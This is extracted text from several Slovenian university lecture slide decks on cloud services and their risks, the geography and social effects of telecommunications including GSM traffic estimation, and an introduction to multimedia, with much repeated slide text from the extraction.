 Visokofrekvenčna komunikacija na kratkih razdaljah (induktivna) 
 Detekcija unikatne kode “NFC taga” s čitalcem 
 Aplikacije: emulacija kartic, plačila, pametni posterji 
 Trenutna podpora: izbrani modeli Nokie, Samsunga 
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AR Drone 
 Helikopter, ki ga krmiliš z nagibanjem iPhona 

 
 
 
 
 
 

 Augmented reality igre na njegovi osnovi 
 s helikopterjem uničuješ  

navidezne sovražnike 
 
 
 

 
 http://ardrone.parrot.com/parrot-ar-drone/en  

http://ardrone.parrot.com/parrot-ar-drone/en
http://ardrone.parrot.com/parrot-ar-drone/en
http://ardrone.parrot.com/parrot-ar-drone/en
http://ardrone.parrot.com/parrot-ar-drone/en
http://ardrone.parrot.com/parrot-ar-drone/en
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Podatki v oblaku in hibridne platforme 
 Google mail, Docs, Facebook, Twitter, Office Live  
 Google Chrome OS 

 operacijski sistem, ki je brskalnik 
 ZumoDrive 

 omrežni disk, dostopen z različnih platform (PC, Mac, Linux, iPhone) 
 Hibridne platforme: Evernote, Dropbox, iCloud 

 Podatki pri uporabniku IN v oblaku 
 Sinhronizacija 

 Ključni pomisleki 
 Relativno visoka latenca 
 Obremenitev omrežja 
 Zasebnost podatkov? 



Komunikacija z oblakom 

 Še vedno ozko grlo 
 Tipičen primer domačega uporabnika 

 100GB podatkov 
 Varnostne kopije (backup) v oblaku 
 Dostop do interneta: 1Mbps uplink 
  čas za prenos: 222 ur (9 dni) 

 Tipičen primer poslovnega uporabnika 
 1TB podatkov 
 dostop do interneta: 100 Mbps uplink 
 Čas za prenos: 22 ur 



Ko imamo še več podatkov… 
 Big-data scenarij 

 1 PB podatkov (1000 TB) 
 Gbps povezava do oblaka 
 2222h (92 dni)  neuporabno! 

 
 Zanimiva ponudba Amazona 

 AWS Import/Export 
 Pošljemo fizične diske ($80/disk) 
 Presnamejo na S3 
 Slogan: “Ne podcenjujete pasovne širine poštnega nabiralnika” 



Nevarnosti oblaka (1) 
 Izguba podatkov 

 Google 
 Februar 2011 
 Izguba mailov 50.000 uporabnikov 
 Restore s traku 

 Amazon 
 April 2011 
 Trajna izguba podatkov 

 

 Tudi ponudnik potrebuje varnostne kopije! 



Nevarnosti oblaka (2) 
 Zasebnost podatkov 

 Dropbox 
 Preprosta storitev za shranjevanje datotek  

v oblaku in sinhronzacijo med računalniki 
 Dropbox fiasko 

 Junij 2011 
 25 MIO uporabnikov 
 Vsi računi dostopni brez passworda 
 Datoteke shranjene brez enkripcije  

(zaradi deduplikacije) 

 
 Zanesemo se lahko le na 

lastno enkripcijo 



Nevarnosti oblaka (3) 
 Zanesljivost storitve 

 Odpoved Amazona,  
 Amazon 1 teden brez razlage 
 Brez vsakršnega supporta 
 Trajna izguba podatkov 

 Odpoved Vmware Cloud Foundry 
 VMware med odpovedjo nudil omejen support in status update 

 SLA?  
 Pri magnitudi sodobnih ponudnikov je uporabnik pogosto le številka. 

 
 



Primer: Amazonova neodzivnost 
 



Posledice težav 
 Kažejo, da se uporabniki vse bolj zanašamo na oblak 
 Padlo je na stotine startupov (Reddit, Foursquare, …) 

 brez zadostne redundance 
 vsi strežniki gostovali 

v isti coni 



Ključne lekcije preživelih 
 Pametni računajo z možnostjo odpovedi 
 Netflix 

 Chaos Monkey 
 “The Chaos Monkey’s job is to randomly  

kill instances and services within  
our architecture.”  

 Netflixa ni na seznamu prizadetih podjetij 
 SmugMug 

 Photo sharing (petabajti slik) 
 uporabljali več Amazonovih con (niso odpovedale vse) 
 “Build for failure. Each component (EC2 instance, etc) should be able to 

die without affecting the whole system as much as possible. ” 



GEOGRAFSKI VIDIKIGEOGRAFSKI VIDIKI
TELEKOMUNIKACIJTELEKOMUNIKACIJ

””Od mamutov do interneta stvariOd mamutov do interneta stvari””

mag. Andrej Gregorc

21. 12. 2011
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DELITEV GEOGRAFIJE
REGIONALNA IN OBČA, KI SE DELI NA
FIZIČNO                               IN DRUŽBENO

DELITEV GEOGRAFIJEDELITEV GEOGRAFIJE
REGIONALNA IN OBREGIONALNA IN OBČČA, KI SE DELI NAA, KI SE DELI NA
FIZIFIZIČČNO                               IN DRUNO                               IN DRUŽŽBENOBENO

� klimatogeografija
� pedogeografija
� geomorfologija
� hidrogeografija
� biogeografija
� meteorologija
� geologija
� matematična geografija

� klimatogeografija
� pedogeografija
� geomorfologija
� hidrogeografija
� biogeografija
� meteorologija
� geologija
� matematična geografija

� geo. prebivalstva
� politična geo.
� ekonomska geo.
� geo. turizma
� urbana geo.
� geo. naselij
� geo. prometa 

(TELEKOMUNIKACIJE)
� ....

� geo. prebivalstva
� politična geo.
� ekonomska geo.
� geo. turizma
� urbana geo.
� geo. naselij
� geo. prometa 

(TELEKOMUNIKACIJE)
� ....
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GEOGRAFIJA IN TELEKOMUNIKACIJEGEOGRAFIJA IN TELEKOMUNIKACIJEGEOGRAFIJA IN TELEKOMUNIKACIJE

� pokrajina

� kulturna pokrajina

� družba in družbeni procesi

� pokrajina

� kulturna pokrajina

� družba in družbeni procesi
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KULTURNA POKRAJINAKULTURNA POKRAJINAKULTURNA POKRAJINA

socialna geografija

kult. pokrajina = narava x človek / čas

Sauer, 1926 : kult. pokrajino oblikujejo sloji človekovega 
delovanja

Ruppert : na izgled kult. pokrajine vplivajo dostop do 
informacij in vrednotenje informacij 

socialna geografija

kult. pokrajina = narava x človek / čas

Sauer, 1926 : kult. pokrajino oblikujejo sloji človekovega 
delovanja

Ruppert : na izgled kult. pokrajine vplivajo dostop do 
informacij in vrednotenje informacij 
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TEMELJNA GEOGRAFSKA VPRAŠANJATEMELJNA GEOGRAFSKA VPRATEMELJNA GEOGRAFSKA VPRAŠŠANJAANJA

� KJE?

� KAKO?

� KDO / KAJ?

� KDAJ?

� KJE?

� KAKO?

� KDO / KAJ?

� KDAJ?
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KOPER, 1.12.2003KOPER, 1.12.2003KOPER, 1.12.2003

888

FRANKLIN DELANO ROOSEVELTFRANKLIN DELANO ROOSEVELTFRANKLIN DELANO ROOSEVELT
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STOPNJE V RAZVOJU ČLOVEŠKE 
DRUŽBE
STOPNJE V RAZVOJU STOPNJE V RAZVOJU ČČLOVELOVEŠŠKE KE 
DRUDRUŽŽBEBE

� divjaška (praskupnost)
� predindustrijska (agrarna)
� industrijska 
� postindustrijska (okoljska)
� informacijska
� družba znanja
� družba modrosti (2050?)

� divjaška (praskupnost)
� predindustrijska (agrarna)
� industrijska 
� postindustrijska (okoljska)
� informacijska
� družba znanja
� družba modrosti (2050?)

101010

KDAJ INFORMACIJSKA DRUŽBA?KDAJ INFORMACIJSKA DRUKDAJ INFORMACIJSKA DRUŽŽBA?BA?

Brian Berry, ameriški socialni geograf, 1975 :
- želja po prebivanju v neokrnjeni naravi 

(suburbanizacija)
- težnja po ohranjanju in širjenju svobode izražanja 

(demokratičnost)
- svoboda gibanja in lajšanje socialnih stikov 

(komunikacija)
- ohranjanje zasebnosti in priznavanje pravic 

posameznika (individualizacija)
- ustvarjanje, dojemanje in lastništvo tehnoloških 

inovacij (patenti)
- želja po uspehu v družbi (hierarhičnost)

Brian Berry, ameriški socialni geograf, 1975 :
- želja po prebivanju v neokrnjeni naravi 

(suburbanizacija)
- težnja po ohranjanju in širjenju svobode izražanja 

(demokratičnost)
- svoboda gibanja in lajšanje socialnih stikov 

(komunikacija)
- ohranjanje zasebnosti in priznavanje pravic 

posameznika (individualizacija)
- ustvarjanje, dojemanje in lastništvo tehnoloških 

inovacij (patenti)
- želja po uspehu v družbi (hierarhičnost)
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SPREMENJENA LOGIKA DRUŽBENEGA 
RAVNANJA IN UKREPANJA?
SPREMENJENA LOGIKA DRUSPREMENJENA LOGIKA DRUŽŽBENEGA BENEGA 
RAVNANJA IN UKREPANJA?RAVNANJA IN UKREPANJA?

Masahiro Manyama leta 1975 o logiki 
industrijske ter informacijske 

družbe (The Postindustrial Logic, 
The Next 25 Years – Crisis and 

Opportunity) :

Masahiro Manyama leta 1975 o logiki 
industrijske ter informacijske 

družbe (The Postindustrial Logic, 
The Next 25 Years – Crisis and 

Opportunity) :
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INDUSTRIJSKA          INFORMACIJSKAINDUSTRIJSKA          INFORMACIJSKAINDUSTRIJSKA          INFORMACIJSKA

� Težnja po standardizaciji
� Oblikovanje homogenosti
� Tekmovalnost, vzpenjanje
� Piramidalna hierarhičnost
� Težnja po obvladovanju 

narave
� Materializem, hedonizem
� Učinkovitost, tekoči trak
� Razmišljanje po sklopih, 

specializacija

� Težnja po standardizaciji
� Oblikovanje homogenosti
� Tekmovalnost, vzpenjanje
� Piramidalna hierarhičnost
� Težnja po obvladovanju 

narave
� Materializem, hedonizem
� Učinkovitost, tekoči trak
� Razmišljanje po sklopih, 

specializacija

� Neukalupljenost, 
individualnost

� Heterogenost, pestrost
� Sodelovanje, timsko delo
� Povezovanje, širjenje 

odgovornosti
� Harmonija z naravo, 

sonaravnost
� Cenjenost narave, kulture 

in dediščine
� Filozofija, vizija, ideja
� Uveljavljanje logike, 

postavljanje prioritet, 
vrednot

� Neukalupljenost, 
individualnost

� Heterogenost, pestrost
� Sodelovanje, timsko delo
� Povezovanje, širjenje 

odgovornosti
� Harmonija z naravo, 

sonaravnost
� Cenjenost narave, kulture 

in dediščine
� Filozofija, vizija, ideja
� Uveljavljanje logike, 

postavljanje prioritet, 
vrednot
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DELITEV GOSPODARSTVA PO 
SEKTORJIH
DELITEV GOSPODARSTVA PO DELITEV GOSPODARSTVA PO 
SEKTORJIHSEKTORJIH

� Primarni (kmetijstvo)
� Sekundarni (industrija in rudarstvo)
� Tercirani (storitve, tudi 

telekomunikacijske)
� Kvartarni (zdravstvo, šolstvo, kultura...)
� Kvintalni (upravljanje)

� Primarni (kmetijstvo)
� Sekundarni (industrija in rudarstvo)
� Tercirani (storitve, tudi 

telekomunikacijske)
� Kvartarni (zdravstvo, šolstvo, kultura...)
� Kvintalni (upravljanje)
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KAZALCI RAZVITOSTI INDUSTRIJSKIH 
IN POSTINDUSTRIJSKIH DRUŽB
KAZALCI RAZVITOSTI INDUSTRIJSKIH KAZALCI RAZVITOSTI INDUSTRIJSKIH 
IN POSTINDUSTRIJSKIH DRUIN POSTINDUSTRIJSKIH DRUŽŽBB

� št. prebivalcev na zdravnika
� št. prebivalcev na bolniško posteljo
� št. prebivalcev na avtomobil
� št. prebivalcev na radijski sprejemnik
� št. prebivalcev na TV sprejemnik
� št. prebivalcev na telefonski priključek
� pismenost
� bruto nacionalni proizvod na prebivalca 

(BNP)

� št. prebivalcev na zdravnika
� št. prebivalcev na bolniško posteljo
� št. prebivalcev na avtomobil
� št. prebivalcev na radijski sprejemnik
� št. prebivalcev na TV sprejemnik
� št. prebivalcev na telefonski priključek
� pismenost
� bruto nacionalni proizvod na prebivalca 

(BNP)
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KAZALCI RAZVITOSTI 
INFORMACIJSKIH DRUŽB
KAZALCI RAZVITOSTI KAZALCI RAZVITOSTI 
INFORMACIJSKIH DRUINFORMACIJSKIH DRUŽŽBB

� delež gospodinjstev z računalnikom
� delež gospodinjstev z dostopom do interneta
� delež uporabnikov interneta
� delež uporabnikov in imetnikov mobilnih 

telefonov
� delež “elektronsko pismenih”
� močan terciarni sektor gospodarstva

� delež gospodinjstev z računalnikom
� delež gospodinjstev z dostopom do interneta
� delež uporabnikov interneta
� delež uporabnikov in imetnikov mobilnih 

telefonov
� delež “elektronsko pismenih”
� močan terciarni sektor gospodarstva
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KAZALCI RAZVITOSTI DRUŽBE 
ZNANJA
KAZALCI RAZVITOSTI DRUKAZALCI RAZVITOSTI DRUŽŽBE BE 
ZNANJAZNANJA

� stopnja digitalizacije šolstva, državne 
uprave ... = e-država

� indeks človekovega razvoja (zdravje, 
izobrazba, dohodek, splošna blaginja)

� inovativna sposobnost družbe

� stopnja digitalizacije šolstva, državne 
uprave ... = e-država

� indeks človekovega razvoja (zdravje, 
izobrazba, dohodek, splošna blaginja)

� inovativna sposobnost družbe
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUŽBI

UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUTELEKOMUNIKACIJ V DRUŽŽBIBI

� Zmanjšanje uporabe stacionarne telefonije in njenih 
storitev (teleks, telefaks, telegram...) ter poštnih 
storitev

� Zmanjšanje uporabe stacionarne telefonije in njenih 
storitev (teleks, telefaks, telegram...) ter poštnih 
storitev

202020

UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUŽBI

UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUTELEKOMUNIKACIJ V DRUŽŽBIBI

� Zmanjšanje uporabe javne stacionarne telefonije
(56-kratno zmanjšanje števila pogovorov iz javnih 
telefonskih govorilnic v Sloveniji med 1995 in 2000)

� Zmanjšanje uporabe javne stacionarne telefonije
(56-kratno zmanjšanje števila pogovorov iz javnih 
telefonskih govorilnic v Sloveniji med 1995 in 2000)
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUŽBI

UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUTELEKOMUNIKACIJ V DRUŽŽBIBI

� Zmanjšanje migracij

� Povečanje gospodarske učinkovitosti družbe

� Zmanjšanje okoljskih emisij (ICT kot alternativno 
gorivo)

� Brezpapirno poslovanje

� Zmanjšanje migracij

� Povečanje gospodarske učinkovitosti družbe

� Zmanjšanje okoljskih emisij (ICT kot alternativno 
gorivo)

� Brezpapirno poslovanje
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUŽBI

UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUTELEKOMUNIKACIJ V DRUŽŽBIBI

� Sprememba lokacijskih dejavnikov razmestitve industrije 
in storitvenih dejavnosti

VČASIH:
surovina, energetski vir, dostopnost, bližina prometnic, 

delovna sila, trg
DANES:
cena lokacije, povezanost v telekomunikacijski sistem 

� Sprememba lokacijskih dejavnikov razmestitve industrije 
in storitvenih dejavnosti

VČASIH:
surovina, energetski vir, dostopnost, bližina prometnic, 

delovna sila, trg
DANES:
cena lokacije, povezanost v telekomunikacijski sistem 
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUŽBI

UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUTELEKOMUNIKACIJ V DRUŽŽBIBI

� Psihološko – sociološki in vedenjski vplivi� Psihološko – sociološki in vedenjski vplivi

““Mobile phones could be filling Mobile phones could be filling a a gap gap in in 

the growingthe growing--up up process that has process that has 

sometimes been taken by smokingsometimes been taken by smoking..””

William MacNee, profesor dihalne in okoljske medicine 
na Univerzi v Edinburghu.



““Drugi vzrok je spremenjen naDrugi vzrok je spremenjen naččin in žživljenja. ivljenja. 

VVččasih smo se cele dneve podili naokoli, danes asih smo se cele dneve podili naokoli, danes 

otroci gledajo televizijo ali ure in ure posedajo otroci gledajo televizijo ali ure in ure posedajo 

za raza raččunalnikom. Medgeneracijske primerjave unalnikom. Medgeneracijske primerjave 

otrok kaotrok kažžejo na skrb zbujajoejo na skrb zbujajočč padec telesnih padec telesnih 

sposobnostisposobnosti””

Janez Šmitek, smučarski trener, na vprašanje 
zakaj je smučarskega podmladka manj kot 

pred časom.

““Otroci gredo zaradi gledanja televizije, Otroci gredo zaradi gledanja televizije, 

posluposluššanja radija ali igranja raanja radija ali igranja raččunalniunalnišških igric kih igric 

pozneje spat, za namepozneje spat, za namečček pa so tu ek pa so tu šše mobilniki, e mobilniki, 

ki nenehno prekinjajo spanec. Otroci se ne ki nenehno prekinjajo spanec. Otroci se ne 

pogreznejo v globok spanec, ker v podzavesti pogreznejo v globok spanec, ker v podzavesti 

vedo, da lahko telefon vsak hip zapiskavedo, da lahko telefon vsak hip zapiska””

Dr. Jan Van den Bulck, profesor psihologije, 
univerza Leuven, Belgija, o vplivu sodobne 

elektronike na spalne motnje otrok
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“MOTORIČNI DEBILI”““MOTORIMOTORIČČNI DEBILINI DEBILI””
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUŽBI

UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUTELEKOMUNIKACIJ V DRUŽŽBIBI

� Jezikovni vplivi� Jezikovni vplivi
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUŽBI

UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUTELEKOMUNIKACIJ V DRUŽŽBIBI

� Zmanjšanje odzivnih časov ob nesrečah
+ enostavnejše lociranje zaradi lokacijskih 
informacij

� Zmanjšanje odzivnih časov ob nesrečah
+ enostavnejše lociranje zaradi lokacijskih 
informacij
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUŽBI

UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUTELEKOMUNIKACIJ V DRUŽŽBIBI

� Delovna mesta v ICT panogi
(v Evropi manjka 40.000 ICT inženirjev)

Kakšna delovna mesta, kakšna znanja?

� Delovna mesta v ICT panogi
(v Evropi manjka 40.000 ICT inženirjev)

Kakšna delovna mesta, kakšna znanja?
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUŽBI

UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUTELEKOMUNIKACIJ V DRUŽŽBIBI

� Družbena odgovornost in pomen 
telekomunikacijskih podjetij

� Družbena odgovornost in pomen 
telekomunikacijskih podjetij
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUŽBI

UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V DRUTELEKOMUNIKACIJ V DRUŽŽBIBI

� Sevalne obremenitve na človeško telo (predvsem 
zaradi uporabe mobilne telefonije)

� Sevalne obremenitve na človeško telo (predvsem 
zaradi uporabe mobilne telefonije)
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SEVANJE NAPRAVSEVANJE NAPRAVSEVANJE NAPRAV
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VPLIV SEVANJA NA ČLOVEŠKO TELOVPLIV SEVANJA NA VPLIV SEVANJA NA ČČLOVELOVEŠŠKO TELOKO TELO
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V PROSTORU
UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V PROSTORUTELEKOMUNIKACIJ V PROSTORU

� Sevalne obremenitve in njihov vpliv na živalstvo in 
rastlinstvo

� Sevalne obremenitve in njihov vpliv na živalstvo in 
rastlinstvo
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SEVALNE OBREMENITVE V OKOLICI BAZNE 
POSTAJE

SEVALNE OBREMENITVE V OKOLICI BAZNE SEVALNE OBREMENITVE V OKOLICI BAZNE 
POSTAJEPOSTAJE
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V PROSTORU
UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V PROSTORUTELEKOMUNIKACIJ V PROSTORU

� Spremembe v izgledu kulturne pokrajine in mestnih 
območij (antene in druga telekomunikacijska 
infrastruktura)

� Spremembe v izgledu kulturne pokrajine in mestnih 
območij (antene in druga telekomunikacijska 
infrastruktura)
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V PROSTORU
UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V PROSTORUTELEKOMUNIKACIJ V PROSTORU

� Razvrednotenje zemljišč v bližini infrastrukture� Razvrednotenje zemljišč v bližini infrastrukture
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V PROSTORU
UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V PROSTORUTELEKOMUNIKACIJ V PROSTORU

� Problematika odlaganja odsluženih elektronskih 
naprav

� Problematika odlaganja odsluženih elektronskih 
naprav
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V PROSTORU
UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V PROSTORUTELEKOMUNIKACIJ V PROSTORU

� Digitalni odtis posameznika (Google footprint)� Digitalni odtis posameznika (Google footprint)
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UČINKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V PROSTORU
UUČČINKI IN POSLEDICE SODOBNIH INKI IN POSLEDICE SODOBNIH 
TELEKOMUNIKACIJ V PROSTORUTELEKOMUNIKACIJ V PROSTORU

SPREMEMBE V ŠOLSKEM SISTEMU
� “absolutni spomin”, ki ga omogoča internet z 

možnostjo instantnega priklica
� mlade generacije po sposobnostih uporabe ICT 

močno prekašajo mentorje/učitelje
� digitalizacija šolstva (npr. Južna Koreja bo do leta 

2015 povsem digitalizirala šolstvo)
� pomembnost mrež in omrežij, tehnoloških in socialnih
� časovna in lokacijska neodvisnost

SPREMEMBE V ŠOLSKEM SISTEMU
� “absolutni spomin”, ki ga omogoča internet z 

možnostjo instantnega priklica
� mlade generacije po sposobnostih uporabe ICT 

močno prekašajo mentorje/učitelje
� digitalizacija šolstva (npr. Južna Koreja bo do leta 

2015 povsem digitalizirala šolstvo)
� pomembnost mrež in omrežij, tehnoloških in socialnih
� časovna in lokacijska neodvisnost
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Sugata Mitra – Hole in the WallSugata Mitra Sugata Mitra –– Hole in the WallHole in the Wall
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GEOGRAFIJA NASTANKA IN RAZVOJ MOBILNIH 
TELEKOMUNIKACIJ

GEOGRAFIJA NASTANKA IN RAZVOJ MOBILNIH GEOGRAFIJA NASTANKA IN RAZVOJ MOBILNIH 
TELEKOMUNIKACIJTELEKOMUNIKACIJ

� Kje? Danska, Finska, Islandija, Norveška, Švedska in 
Savdska Arabija

� Kdaj? 1981 – NMT omrežje v Savdski Arabiji

� Zakaj? Nizka gostota poselitve, majhna in izolirana 
naselja, specifični reliefni in klimatski pogoji, dobra 
razvitost in visok BNP

� Kje? Danska, Finska, Islandija, Norveška, Švedska in 
Savdska Arabija

� Kdaj? 1981 – NMT omrežje v Savdski Arabiji

� Zakaj? Nizka gostota poselitve, majhna in izolirana 
naselja, specifični reliefni in klimatski pogoji, dobra 
razvitost in visok BNP
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TEORETIČNI IZGLED CELIC V PROSTORUTEORETITEORETIČČNI IZGLED CELIC V PROSTORUNI IZGLED CELIC V PROSTORU

646464

OSNOVNA GRAFIČNA SHEMA MOBILNEGA 
OMREŽJA V PROSTORU

OSNOVNA GRAFIOSNOVNA GRAFIČČNA SHEMA MOBILNEGA NA SHEMA MOBILNEGA 
OMREOMREŽŽJA V PROSTORUJA V PROSTORU 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 LOKACIJSKO LOKACIJSKO 
 PODROČJE 1 PODROČJE 3 
 LOKACIJSKO PODROČJE 2  
 
   KOMUTACIJSKO PODROČJE 
 
 
 
  

CELICA 2 

CELICA 1 

CELICA 3 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 LOKACIJSKO LOKACIJSKO 
 PODROČJE 1 PODROČJE 3 
 LOKACIJSKO PODROČJE 2  
 
   KOMUTACIJSKO PODROČJE 
 
 
 
  

CELICA 2 

CELICA 1 

CELICA 3 
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IZGRADNJA GSM OMREŽJAIZGRADNJA GSM OMREIZGRADNJA GSM OMREŽŽJAJA

IZHODIŠČA ZA TEORETIČNO OCENO OMREŽNEGA PROMETA

- gostota in razporeditev prebivalcev
- število avtomobilov na prebivalca in gostota 

avtomobilskega prometa
- povprečni prihodek na prebivalca
- število obstoječih telefonskih priključkov na prebivalca
- reliefne razmere
- klimatsko – meteorološke razmere
- raba tal

IZHODIŠČA ZA TEORETIČNO OCENO OMREŽNEGA PROMETA

- gostota in razporeditev prebivalcev
- število avtomobilov na prebivalca in gostota 

avtomobilskega prometa
- povprečni prihodek na prebivalca
- število obstoječih telefonskih priključkov na prebivalca
- reliefne razmere
- klimatsko – meteorološke razmere
- raba tal
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TEORETIČNI IZRAČUN OMREŽNEGA PROMETATEORETITEORETIČČNI IZRANI IZRAČČUN OMREUN OMREŽŽNEGA PROMETANEGA PROMETA

Kraj s 5.000 prebivalci, brez turističnih privlačnosti

Operaterjev delež uporabnikov med prebivalstvom npr. 
60 %

5.000 * 0,6 = 3.000 teoretičnih uporabnikov

3.000 uporabnikov * 15 miliErlangov = 45 Erlangov

določitev števila govornih in prometnih kanalov

Kraj s 5.000 prebivalci, brez turističnih privlačnosti

Operaterjev delež uporabnikov med prebivalstvom npr. 
60 %

5.000 * 0,6 = 3.000 teoretičnih uporabnikov

3.000 uporabnikov * 15 miliErlangov = 45 Erlangov

določitev števila govornih in prometnih kanalov
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TEORETIČNI IZRAČUN OMREŽNEGA PROMETA ZA 
TURISTIČNE KRAJE

TEORETITEORETIČČNI IZRANI IZRAČČUN OMREUN OMREŽŽNEGA PROMETA ZA NEGA PROMETA ZA 
TURISTITURISTIČČNE KRAJENE KRAJE

Turistični kraj s 5.000 prebivalci + max število turistov in 
dnevnih obiskovalcev npr. 10.000

Operaterjev delež uporabnikov med prebivalstvom npr. 60 %
(ponavadi večji zaradi tujcev, npr. 70%)

15.000 * 0,7 = 10.500 teoretičnih uporabnikov

10.500 uporabnikov * 15 miliErlangov = 158 Erlangov

določitev števila govornih in prometnih kanalov

Turistični kraj s 5.000 prebivalci + max število turistov in 
dnevnih obiskovalcev npr. 10.000

Operaterjev delež uporabnikov med prebivalstvom npr. 60 %
(ponavadi večji zaradi tujcev, npr. 70%)

15.000 * 0,7 = 10.500 teoretičnih uporabnikov

10.500 uporabnikov * 15 miliErlangov = 158 Erlangov

določitev števila govornih in prometnih kanalov

686868
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IZBOR POLETNIH PRIREDITEV Z ZNAČILNIM 
POVEČANIM PROMETOM V GSM OMREŽJU

IZBOR POLETNIH PRIREDITEV IZBOR POLETNIH PRIREDITEV ZZ ZNAZNAČČILNIM ILNIM 
POVEPOVEČČANIM PROMETOM V GSM OMREANIM PROMETOM V GSM OMREŽŽJUJU

7. – 9.9.TRADICIONALNI DNEVI NARODNIH NOŠ, KAMNIK

31.8. in 1.9.NOČ NA LJUBLJANICI, LJUBLJANA

18. in 19.8.ERAZMOV VITEŠKI TURNIR, PREDJAMSKI GRAD

18.8.VIP TENIŠKI TURNIR, M CLUB, VELENJE

5.8.FLOSARSKI BAL, LJUBNO OB SAVINJI

4.8.NOČ NA JEZERU, ZBILJE

27. – 29.7.KOPRSKA NOČ, KOPER

20. – 22.7.BLEJSKI DNEVI IN BLEJSKA NOČ, BLED

11. – 15.7.PIVO IN CVETJE, LAŠKO

22.6. – 7.7.FESTIVAL LENT, MARIBOR

28.6. – 1.7.NOČ NA JEZERU, MOST NA SOČI

25. – 27.5.SREČANJE BUSH – PUTIN, BRDO PRI KRANJU

19.5.MARATON TREH SRC, RADENCI

DATUMPRIREDITVE
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NAČINI ZAGOTAVLJANJA DODATNIH PROMETNIH 
KAPACITET V OMREŽJU

NANAČČINI ZAGOTAVLJANJA DODATNIH PROMETNIH INI ZAGOTAVLJANJA DODATNIH PROMETNIH 
KAPACITET V OMREKAPACITET V OMREŽŽJUJU

� Povečanje kapacitete obstoječih baznih postaj

� Vključitev mobilnega kombija

� Namestitev začasne bazne postaje

� Povečanje kapacitete obstoječih baznih postaj

� Vključitev mobilnega kombija

� Namestitev začasne bazne postaje
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GEOGRAFSKI VIDIKI TELEKOMUNIKACIJGEOGRAFSKI VIDIKI TELEKOMUNIKACIJ

””Od mamutov do interneta stvariOd mamutov do interneta stvari””

mag. Andrej Gregorc

21. 12. 2011

HVALA!HVALA!



Multimedija 
KS UNI 

 
as. mag. Joţe  Guna 



Kazalo 
 Multimedijski koncepti 

 
 Multimedijske vsebine 

 
 Terminali (naprave) in 

tehnologije prikaza 
 

 Multimedijske storitve 
 

 Multimedija in Interaktivnost 
 

 Multimedija na Fakulteti za elektrotehniko 
 
 



MM koncepti 



 



 



Multimedija 
 Multimedija je kombinacija vsebin v različnih oblikah (zvok, slika, 

video, animacije,tekst,…), ki tipično omogoča interaktivnost. 
 

 Prva omemba multimedije: za promocijo dogodka “LightWorks at 
L'Oursin”, 1966, Southampton, Velika Britanija  
 Diskoteka: glasba in lightshow  
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Kaj je Multimedija/Večpredstavnost? 
 “Multimedia (Lat. 

Multum + Medium) is 

media that utilizes a 

combination of different 

content forms. The term 

is used in contrast to 

media which only utilize 

traditional forms of 

printed or hand-

produced text and still 

graphics. In general, 

multimedia includes a 

combination of text, 

audio, still images, 

animation, video, and 

interactivity content 

forms.” Wiki 
 Multimedijski elementi 

Tekst Avdio Slike 

Animacije Video 

Holodeck? 

Stereovizija, 
 3DTV 

Virtualni svetovi 



MM vsebine 



Multimedijske vsebine - zvok 
 Zvok 

 Mono, stereo, prostorski zvok 
 Zajem na številnih napravah: mikrofon, telefon, 

kamera, računalnik,… 
 Formati:  

 mp3, WAV, AIFF, FLAC, AAC, Vorbis,… 
 Zgodovina: 

 Prvi zajemi 1877, mehanski zapis (vosek, baker) 
 Posnetek na voščenem cilindru iz leta 1888 

 Kasneje magnetni trakovi, vinilke, CD, DVD, 
diski,… 

 
 

Arthur_Sullivan_-_wax_cylinder_recording.ogg


Multimedijske vsebine - slike 
 Slika 

 2D predstavitev objektov, scen,… 
 Naravne (zajem za napravo) in umetne (računalniška 

